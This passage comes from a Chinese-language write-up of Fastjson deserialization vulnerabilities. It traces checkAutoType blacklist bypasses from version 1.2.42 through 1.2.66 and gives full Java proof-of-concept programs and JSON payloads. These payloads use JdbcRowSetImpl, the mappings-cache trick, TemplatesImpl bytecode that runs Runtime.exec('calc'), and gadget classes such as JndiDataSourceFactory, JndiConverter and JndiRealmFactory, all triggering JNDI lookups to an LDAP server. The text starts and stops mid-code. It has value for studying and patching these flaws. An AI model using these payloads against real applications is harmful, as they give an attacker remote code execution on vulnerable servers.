String payload = "{\"@type\":\"Lcom.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;\",\"_bytecodes\":[\""+base64Code+"\"],\"_name\":\"A\",\"_tfactory\":{},\"_outputProperties\":{}}";
JSON.parse(payload, Feature.SupportNonPublicField);
// JSON.parseObject(payload, Feature.SupportNonPublicField);
}
}
Fastjson1.2.25-1.2.42
条件:开启AutoType
环境搭建
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.42</version>
</dependency>
这个版本中对src/main/java/com/alibaba/fastjson/parser/ParserConfig.java进行了大量修改,其中最明显的是将黑名单变成了hashcode
denyHashCodes = new long[]{
-8720046426850100497L,
-8109300701639721088L,
-7966123100503199569L,
-7766605818834748097L,
-6835437086156813536L,
-4082057040235125754L,
-3979025623072794412L,
-2364987994247679115L,
-1872417015366588117L,
-254670111376247151L,
33238344207745342L,
313864100207897507L,
1203232727967308606L,
3547627781654598988L,
3730752432285826863L,
4147696707147271408L,
5450448828334921485L,
5751393439502795295L,
5944107969236155580L,
6742705432718011780L,
7179336928365889465L,
7442624256860549330L,
8838294710098435315L
};
从1.2.42版本开始,Fastjson把原本明文形式的黑名单改成了哈希过的黑名单,目的就是为了防止安全研究者对其进行研究,提高漏洞利用门槛,但是有人已在Github上跑出了大部分黑名单包类:https://github.com/LeadroyaL/fastjson-blacklist
绕过分析
重新审计checkAutoType()方法
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
首先获取@type指定的类的名字,如果存在$
,就将其改为.
然后对className的开头结尾进行与hash异或检测,如果满足if的条件就进行“去头去尾” ,经过测试发现这里就是将L
开头的和;
结尾的className进行处理
然后往下
long h3 = (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L ^ (long)className.charAt(2)) * 1099511628211L;
long hash;
int i;
if (this.autoTypeSupport || expectClass != null) {
hash = h3;
for(i = 3; i < className.length(); ++i) {
hash ^= (long)className.charAt(i);
hash *= 1099511628211L;
if (Arrays.binarySearch(this.acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
这里其实就是进行黑白名单检测,只是变成了hash的样子(估计是为了加大审计难度),进入这个if也是需要autoTypeSupport==true
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
想绕过这里很简单,只需要再套一层L
开头的和;
结尾即可,
LLcom.sun.rowset.JdbcRowSetImpl;;
黑白名单检测前会去除掉一层,
Lcom.sun.rowset.JdbcRowSetImpl;
这个就可以绕过黑白名单了
然后往下继续
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, this.defaultClassLoader, false);
}
因为clazz == null,进入loadClass
,此时typeName
为
LLcom.sun.rowset.JdbcRowSetImpl;;
进入loadClass后
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
还是和上一个版本的一样,遇到L
开头;
结尾的就进行去头去尾得到新的newClassName
Lcom.sun.rowset.JdbcRowSetImpl;
然后将这个newClassName再传到loadClass(newClassName, classLoader)
也就是这个方法本身,这里类似递归
还是相同的逻辑进行去头去尾,然后获得到新的newClassName
com.sun.rowset.JdbcRowSetImpl
然后再走到这个loadClass,这次不会进入这些else if分支了
直接走的是最后的else分支
try {
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if (contextClassLoader != null && contextClassLoader != classLoader) {
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch (Throwable var6) {
}
首先是获取加载器contextClassLoader,加载器满足if的条件的条件进入if语句,然后加载com.sun.rowset.JdbcRowSetImpl
并返回
整个恶意类加载的过程大概就是酱紫了,完整的POC:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
public static void main( String[] args ) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"LLcom.sun.rowset.JdbcRowSetImpl;;\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
JSON.parseObject(payload);
}
}
Fastjson1.2.25-1.2.43
条件:开启AutoType
环境搭建
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.43</version>
</dependency>
在1.2.43版本中针对1.2.42的绕过方式进行了修复,修复的地方还是在checkAutoType()
方法
1.2.42版本
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
className = className.substring(1, className.length() - 1);
}
1.2.43版本
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
if (((-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L ^ (long)className.charAt(1)) * 1099511628211L == 655656408941810501L) {
throw new JSONException("autoType is not support. " + typeName);
}
className = className.substring(1, className.length() - 1);
}
对比可以看到,在第一次去除L开头和;
结尾的步骤中,1.2.43版本还进行多一次检测,如果“去头去尾”后还检测到L开头和;
结尾,那就直接报出错误,autoType is not support. Lxxxxxxxx;
主要的变化就这样,后面的逻辑和之前的一样
绕过分析
走L+;
这条路似乎是不行了,再看看loadClass()
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if (className != null && className.length() != 0) {
Class<?> clazz = (Class)mappings.get(className);
if (clazz != null) {
return clazz;
} else if (className.charAt(0) == '[') {
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
} else if (className.startsWith("L") && className.endsWith(";")) {
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
L+;
这条路走不了,可以试试[
这条路,但是在1.2.41的时候就知道它是会报错的
比如
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
出现报错
Exception in thread "main" com.alibaba.fastjson.JSONException: exepct '[', but ,, pos 42, json : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}
翻译:
线程中的异常 "main" com.alibaba.fastjson.JSONException: 期望 '[', 但是得到了 ,, 位置 42, JSON 数据 : {"@type":"[com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}
大概就是说逗号,
的这个位置,程序期望得到的是’[‘ , 那就按要求改
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
然后还继续报错
Exception in thread "main" com.alibaba.fastjson.JSONException: syntax error, expect {, actual string, pos 43, fastjson-version 1.2.43
翻译
线程中的异常 "main" com.alibaba.fastjson.JSONException: 语法错误,期望 {,实际为字符串,位置 43,fastjson 版本 1.2.43
就是说这个[
号的后面应该加一个{
,那就加上
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
然后就成功加载了这个类,进行了JNDI注入
额~,这似乎有点意外
调试分析
因为ClassName = [com.sun.rowset.JdbcRowSetImpl 肯定能够绕过黑名单,进入loadClass,返回Array.newInstance(componentType, 0).getClass();
经过了checkAutoType
的打磨后,得到的clazz如下
往下进入了nextToken()
if (clazz != null) {
lexer.nextToken(16);
因为"[com.sun.rowset.JdbcRowSetImpl\"[{
检测到了第二个[
,修改了原来的token值,原来的值是4,修改为了 14
返回继续往下,这里是获取到一个和数组有关的反序列化器进行反序列化
跟进deserialze
这里利用了getComponentType()
去解析这个类名,获取到了com.sun.rowset.JdbcRowSetImpl
然后就是进入parseArray进行解析,跟进查看
if (token != 14) {
throw new JSONException("exepct '[', but " + JSONToken.name(token) + ", " + this.lexer.info());
}
之前报错是因为token!=14,限制token==14就不报错了
往下来到这个if语句,进入了else语句进行反序列化
if (this.lexer.token() == 8) {
this.lexer.nextToken();
val = null;
} else {
val = ((ObjectDeserializer)deserializer).deserialze(this, type, i);
}
这里进行反序列化使用的类是JavaBeanDeserializer
反序列化后就成功弹出计算器了
最后的POC
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
public static void main( String[] args ) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\"AutoCommit\":true}";
JSON.parseObject(payload);
}
}
Fastjson1.2.25-1.2.45
条件:开启AutoType,并且mybatis<3.5
环境搭建
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.45</version>
</dependency>
<dependency>
<groupId>org.mybatis</groupId>
<artifactId>mybatis</artifactId>
<version>3.4.6</version>
</dependency>
在1.2.44版本的修复中,修复了[
绕过的漏洞
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
} else if (typeName.length() < 128 && typeName.length() >= 3) {
String className = typeName.replace('$', '.');
Class<?> clazz = null;
long BASIC = -3750763034362895579L;
long PRIME = 1099511628211L;
long h1 = (-3750763034362895579L ^ (long)className.charAt(0)) * 1099511628211L;
if (h1 == -5808493101479473382L) {
throw new JSONException("autoType is not support. " + typeName);
} else if ((h1 ^ (long)className.charAt(className.length() - 1)) * 1099511628211L == 655701488918567152L) {
throw new JSONException("autoType is not support. " + typeName);
可以看到,这里先处理了[
开头的类名,如果是这里符号开头的话,直接报错
然后再检测开头和结尾,如果是L
开头;
结尾的,也直接报错
绕过分析
loadClass的两条路直接被堵死,这能和黑名单硬刚了,找一个黑名单里面没有的,可利用的类
因为黑名单都是hashcode,需要参考https://github.com/LeadroyaL/fastjson-blacklist 这个项目,里面是作者找出的fastjson中hashcode对应的类
这个版本利用的是org.apache.ibatis.datasource.jndi.JndiDataSourceFactory
这个类,这个类不在黑名单里面,可过检测
这里使用的是setProperties这个方法,参数是Properties类型的继承自Hashtable
public void setProperties(Properties properties) {
try {
Properties env = getEnvProperties(properties);
InitialContext initCtx;
if (env == null) {
initCtx = new InitialContext();
} else {
initCtx = new InitialContext(env);
}
if (properties.containsKey("initial_context") && properties.containsKey("data_source")) {
Context ctx = (Context)initCtx.lookup(properties.getProperty("initial_context"));
this.dataSource = (DataSource)ctx.lookup(properties.getProperty("data_source"));
} else if (properties.containsKey("data_source")) {
this.dataSource = (DataSource)initCtx.lookup(properties.getProperty("data_source"));
}
} catch (NamingException var5) {
throw new DataSourceException("There was an error configuring JndiDataSourceTransactionPool. Cause: " + var5, var5);
}
}
这个方法可以在反序列化自动调用
//Hashtable
public synchronized boolean containsKey(Object key) {
Entry<?,?> tab[] = table;
int hash = key.hashCode();
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) {
return true;
}
}
return false;
}
properties.containsKey("initial_context") 和 properties.containsKey("data_source")
这里的意思是检测这个properties
是否存在initial_context或者data_source
如果两个都存在,则会进入第一个if语句,如果只存在data_source
, 则进入else分支
进入if 语句后,就能够调用lookup
进行JNDI注入了
查看properties.getProperty("data_source")
是否可控
public String getProperty(String key) {
Object oval = super.get(key);
String sval = (oval instanceof String) ? (String)oval : null;
return ((sval == null) && (defaults != null)) ? defaults.getProperty(key) : sval;
}
首先从父类Hashtable获取key
对应的值,保存到oval,再判断这个oval是否是String类型的实例,如果是进行类型转换,如果不上则sval赋值为null
如果((sval == null) && (defaults != null))==true 则返回defaults.getProperty(key),否则返回sval
所以只有能够控制键值对中initial_context
或者data_source
的对应的值就能够利用lookup进行JNDI注入
下一步就是如何传入参数
public void setProperties(Properties properties)
已经知道这个setter方法可以自动调用了,这个参数是键值对,那就传入 一个键值对
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
或者
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"aaa\",\"initial_context\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
这个需要开启AutoType,如果不开启,在checkAutoType里面无法返回已经加载的这个类
最终POC
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
public class App
{
public static void main( String[] args ) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
// String payload = "{\"@type\":\"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory\",\"properties\":{\"data_source\":\"aaa\",\"initial_context\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}}";
JSON.parseObject(payload);
}
}
Fastjson1.2.25-1.2.47
环境搭建
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.47</version>
</dependency>
在这个版本中,为了修复 上个版本的漏洞,将org.apache.ibatis.datasource
添加到了黑名单
绕过分析
如果找不到一个不存在于黑名单的可利用类,只能在处理过程寻找漏洞,绕过黑白名单检测
因为阻挡我们利用的地方主要是checkAutoType
这个方法,所以需要重新审计一下
public Class<?> checkAutoType(String typeName, Class<?> expectClass, int features) {
if (typeName == null) {
return null;
}
if (typeName.length() >= 128 || typeName.length() < 3) {
throw new JSONException("autoType is not support. " + typeName);
}
String className = typeName.replace('$', '.');
Class<?> clazz = null;
首先这个方法的开头,是对typeName进行一些简单的检测可处理,检测typeName是否为空,检测typeName长度,然后将$
替换为.
往下:
final long h1 = (BASIC ^ className.charAt(0)) * PRIME;
if (h1 == 0xaf64164c86024f1aL) { // [
throw new JSONException("autoType is not support. " + typeName);
}
if ((h1 ^ className.charAt(className.length() - 1)) * PRIME == 0x9198507b5af98f0L) {
throw new JSONException("autoType is not support. " + typeName);
}
final long h3 = (((((BASIC ^ className.charAt(0))
* PRIME)
^ className.charAt(1))
* PRIME)
^ className.charAt(2))
* PRIME;
这里就是对1.2.43之前的两个绕过方式进行检测,这里无法绕过了,继续往下看
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
如果开启了autoType
,就会进入这个if语句,先进行白名单检测,如果这个类再白名单里面,直接加载并返回,如果找不到,就去黑名单里面找,还找不到就继续往下
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
这一段就是当autoType
未开启或者autoType
开启后在黑白名单中都找不到的时候 ,尝试通过TypeUtils.getClassFromMapping
或者deserializers.findClass
来获取类,如果能够找到,进入第三个if语句,这里存在第二个return clazz
,但是要确保不会进入里面的if语句
继续往下:
if (!autoTypeSupport) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
char c = className.charAt(i);
hash ^= c;
hash *= PRIME;
if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {
throw new JSONException("autoType is not support. " + typeName);
}
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
if (clazz == null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
}
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
这里是没有开启autoType
的处理,首先进行一波黑名单过滤,再进行白名单检查,如果存在于白名单中那就会出现第三个return clazz
后面的已经不重要了,因为已经经过黑白名单了,如果还想往后面走,只能找到一个新的利用类
经过前面的分析发现,无论是否开启autoType
,都会经过黑白名单检查,但是在未开启autoType
的时候,在进入if (!autoTypeSupport)
之前是存在一个return clazz
的,也就是第二个return clazz
,
autoType开启的情况下如果TypeUtils.getClassFromMapping(typeName) != null
,也可以跳过黑名单检查进入第二个return clazz
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
如果能在进入黑白名单检查之前就返回出去,那就不需要经过后面的黑白名单检查了
要实现这个,首先要实现在TypeUtils.getClassFromMapping(typeName)
或者deserializers.findClass(typeName);
得到clazz
还要不进入
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
先看看TypeUtils.getClassFromMapping(typeName)
private static ConcurrentMap<String,Class<?>> mappings = new ConcurrentHashMap<String,Class<?>>(16, 0.75f, 1);
public static Class<?> getClassFromMapping(String className){
return mappings.get(className);
}
这个是从mappings
获取这个类,是一个MAP对象,那就寻找mappings.put()
的地方,看看哪里可以将我们需要的类存进mappings里面
然后找到能利用的只有loadClass这个地方
public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
.....
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);//------>看这里
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);//------>看这里
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);//------>看这里
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}
可以发现如果可以控制输入参数,是可以往这个mappings中写入任意类名的(从而绕过autocheck的黑白名单)
下一步就是寻找哪里调用了loadClass(String className, ClassLoader classLoader, boolean cache)
找到几个,其中有是在checkAutoType
里面的,可直接Pass,剩下的就是
public static Class<?> loadClass(String className, ClassLoader classLoader) {
return loadClass(className, classLoader, true);
}
再寻找哪里调用了loadClass(String className, ClassLoader classLoader)
然后找到com/alibaba/fastjson/serializer/MiscCodec.java#deserialze(DefaultJSONParser parser, Type clazz, Object fieldName):335
if (clazz == Class.class) {
return (T) TypeUtils.loadClass(strVal, parser.getConfig().getDefaultClassLoader());
}
这个方法的代码很长,需要一步一步往上分析
要运行到此处并且控制参数strVal
为恶意类名,需要保证clazz == Class.class
,这个clazz来自方法参数deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
然后往上查看strVal
的来源
String strVal;
if (objVal == null) {
strVal = null;
} else if (objVal instanceof String) {
strVal = (String) objVal;
} else {
......
}
很明显的看到这个strVal
的值来自objVal
继续往上寻找objVal
的来源
Object objVal;
if (parser.resolveStatus == DefaultJSONParser.TypeNameRedirect) {
parser.resolveStatus = DefaultJSONParser.NONE;
parser.accept(JSONToken.COMMA);
if (lexer.token() == JSONToken.LITERAL_STRING) {
if (!"val".equals(lexer.stringVal())) {
throw new JSONException("syntax error");
}
lexer.nextToken();
} else {
throw new JSONException("syntax error");
}
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
} else {
objVal = parser.parse();
}
这段代码中判断parser.resolveStatus == DefaultJSONParser.TypeNameRedirect
,如果为false,直接 objVal = parser.parse();
如果为true,进入if语句,使用lexer判断当前的 token 是否为 JSONToken.LITERAL_STRING(字符串类型的值)如果是,再判断是否为”val“,不是则报错
parser.accept(JSONToken.COLON);
中的JSONToken.COLON
是冒号:
,JSONToken.RBRACE
是右大括号;
parser.accept(JSONToken.COLON);
objVal = parser.parse();
parser.accept(JSONToken.RBRACE);
这段大概的意思是将json字符串中val对应的值赋给objVal,例如{“val”:”xxx”} 中的xxx ,这里可以控制为我们需要的恶意类名“val”:”恶意类名”
根据前面的分析还需要clazz == Class.class
,这个clazz可以为java.lang.Class
下一步就是寻找哪里调用了这个deserialze(DefaultJSONParser parser, Type clazz, Object fieldName)
查看引用处其实可以发现这是一个非常多地方会调用到的常用函数,就比如json解析过程中的com.alibaba.fastjson.parser.DefaultJSONParser#parseObject(java.util.Map, java.lang.Object)
需要进入@type
的那层if判断,在这个if语句的最后:
Object obj = deserializer.deserialze(this, clazz, fieldName);
分析到这里,假如利用的恶意类为com.sun.rowset.JdbcRowSetImpl
, 初步的POC如下
{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"}
经过调试发现com.sun.rowset.JdbcRowSetImpl
已经put到了mappings
中了
现在只是将恶意类的类名加入了mappings
里面还需要进一步的利用
com.sun.rowset.JdbcRowSetImpl的利用如下:
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc","AutoCommit":true}
两者结合一下
{
"a":{
"@type":"java.lang.Class",
"val":"com.sun.rowset.JdbcRowSetImpl"},
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://0.0.0.0:1389/Basic/Command/calc",
"AutoCommit":true
}
}
这个POC可开启autoType
,因为开启autoType后,第一次进入checkAutoType(),class是java.lang.Class
,不在黑白名单中,不会被拦截
第一次进入checkAutoType(), class是com.sun.rowset.JdbcRowSetImpl
,因为TypeUtils.getClassFromMapping(typeName) != null
不会进行黑名单检查
如果不开启autoType
,还没有进行黑白名单检查就已经return calzz了
最终POC:
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
public class App
{
public static void main( String[] args ) {
// ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload = "{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\n" +
" \"dataSourceName\":\"ldap://0.0.0.0:1389/Basic/Command/calc\",\n" +
" \"AutoCommit\":true\n" +
" }\n" +
"}";
JSON.parseObject(payload);
}
}
TemplatesImpl利用链:(建议使用这个利用链,不受JDK版本限制)
package org.example;
import com.alibaba.fastjson.JSON;
import java.io.*;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.*;
import com.alibaba.fastjson.parser.JSONScanner;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
public class App
{
public static void main( String[] args ) throws NotFoundException, CannotCompileException, IOException {
//构造恶意类
ClassPool pool = ClassPool.getDefault();
CtClass Evil = pool.makeClass("Evil");
Evil.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
String name = "Evil";
Evil.setName(name);
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
CtConstructor constructor = Evil.makeClassInitializer();
constructor.insertBefore(cmd);
byte[] bytes =Evil.toBytecode();
byte[] encodedBytes = Base64.getEncoder().encode(bytes);
String base64Code=new String(encodedBytes, StandardCharsets.UTF_8);
String payload ="{\n" +
" \"a\":{\n" +
" \"@type\":\"java.lang.Class\",\n" +
" \"val\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\"},\n" +
" \"b\":{\n" +
" \"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\n" +
" \"_bytecodes\":[\""+base64Code+"\"],\n" +
" \"_name\":\"aa\",\n" +
" \"_tfactory\":{ },\n" +
" \"_outputProperties\":{},\n" +
" \"_version\":\"\"\n" +
" }\n" +
"}";
JSON.parse(payload, Feature.SupportNonPublicField);
}
}
注意:
- 1.2.25-1.2.32版本:未开启AutoTypeSupport时能成功利用,开启AutoTypeSupport反而不能成功触发;
- 1.2.33-1.2.47版本:无论是否开启AutoTypeSupport,都能成功利用;
Fastjson1.2.25-1.2.59
需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制
com.zaxxer.hikari.HikariConfig类PoC:
{"@type":"com.zaxxer.hikari.HikariConfig","metricRegistry":"ldap://localhost:1389/Exploit"}
或
{"@type":"com.zaxxer.hikari.HikariConfig","healthCheckRegistry":"ldap://localhost:1389/Exploit"}
Fastjson1.2.25-1.2.61
需要开启AutoType,且会被JNDI注入利用所受的JDK版本限制
org.apache.commons.proxy.provider.remoting.SessionBeanProvider类PoC:
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider","jndiName":"ldap://localhost:1389/Exploit","Object":"a"}
Fastjson1.2.25-1.2.62
条件:xbean-reflect,开启AutoType
环境搭建:
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.62</version>
</dependency>
<dependency>
<groupId>org.apache.xbean</groupId>
<artifactId>xbean-reflect</artifactId>
<version>4.15</version>
</dependency>
1.2.48中的修复措施是,在loadClass()时,将缓存开关默认置为False,所以默认是不能通过Class加载进缓存了。同时将java.lang.Class类加入到了黑名单中。
这个版本是找到一个新的利用类进行黑名单绕过
使用的是org.apache.xbean.propertyeditor.JndiConverter这个类
漏洞在
public class JndiConverter extends AbstractConverter {
public JndiConverter() {
super(Context.class);
}
protected Object toObjectImpl(String text) {
try {
InitialContext context = new InitialContext();
return (Context) context.lookup(text);
} catch (NamingException e) {
throw new PropertyEditorException(e);
}
}
}
这个类继承AbstractConverter
,而且可以看到这个toObjectImpl
方法,如果参数text可控,则可以进行JNDI注入
查找哪里调用了toObjectImpl
方法
public final Object toObject(String text) {
if (text == null) {
return null;
}
Object value = toObjectImpl((trim) ? text.trim() : text);
return value;
}
再寻找调用toObject
的地方
public final void setAsText(String text) {
Object value = toObject((trim) ? text.trim() : text);
super.setValue(value);
}
这个setter方法满足fastjson反序列化自动调用
因为AbstractConverter是abstract修饰的类
public abstract class AbstractConverter extends PropertyEditorSupport implements Converter{}
所以这里@type使用的是继承AbstractConverter的类org.apache.xbean.propertyeditor.JndiConverter
最终POC
package org.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.xbean.propertyeditor.JndiConverter;
public class App
{
public static void main( String[] args ) {
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
String payload="{\"@type\":\"org.apache.xbean.propertyeditor.JndiConverter\",\"AsText\":\"ldap://0.0.0.0:1389/Basic/Command/calc\"}";
JSON.parseObject(payload);
}
}
还可以使用另外的类:
org.apache.cocoon.components.slide.impl.JMSContentInterceptor类PoC:
{"@type":"org.apache.cocoon.components.slide.impl.JMSContentInterceptor", "parameters": {"@type":"java.util.Hashtable","java.naming.factory.initial":"com.sun.jndi.rmi.registry.RegistryContextFactory","topic-factory":"ldap://localhost:1389/Exploit"}, "namespace":""}
Fastjson1.2.25-1.2.66
条件:开启AutoType
这里也是寻找到新的利用类,这个版本有很多,原理都一样就不一个个分析了
org.apache.shiro.realm.jndi.JndiRealmFactory类PoC:
{"@type":"org.apache.shiro.realm.jndi.JndiRealmFactory", "jndiNames":["ldap://0.0.0.0:1389/Basic/Command/calc"], "Realms":[""]}
br.com.anteros.dbcp.AnterosDBCPConfig类PoC:
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","metricRegistry":"ldap://0.0.0.0:1389/Basic/Command/calc"}
或
{"@type":"br.com.anteros.dbcp.AnterosDBCPConfig","healthCheckRegistry":"ldap://0.0.0.0:1389/Basic/Command/calc"}
com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig类PoC:
{
"@type":"com.ibatis.sqlmap.engine.transaction.jta.JtaTransactionConfig",
"properties": {
"@type":"java.util.Properties",
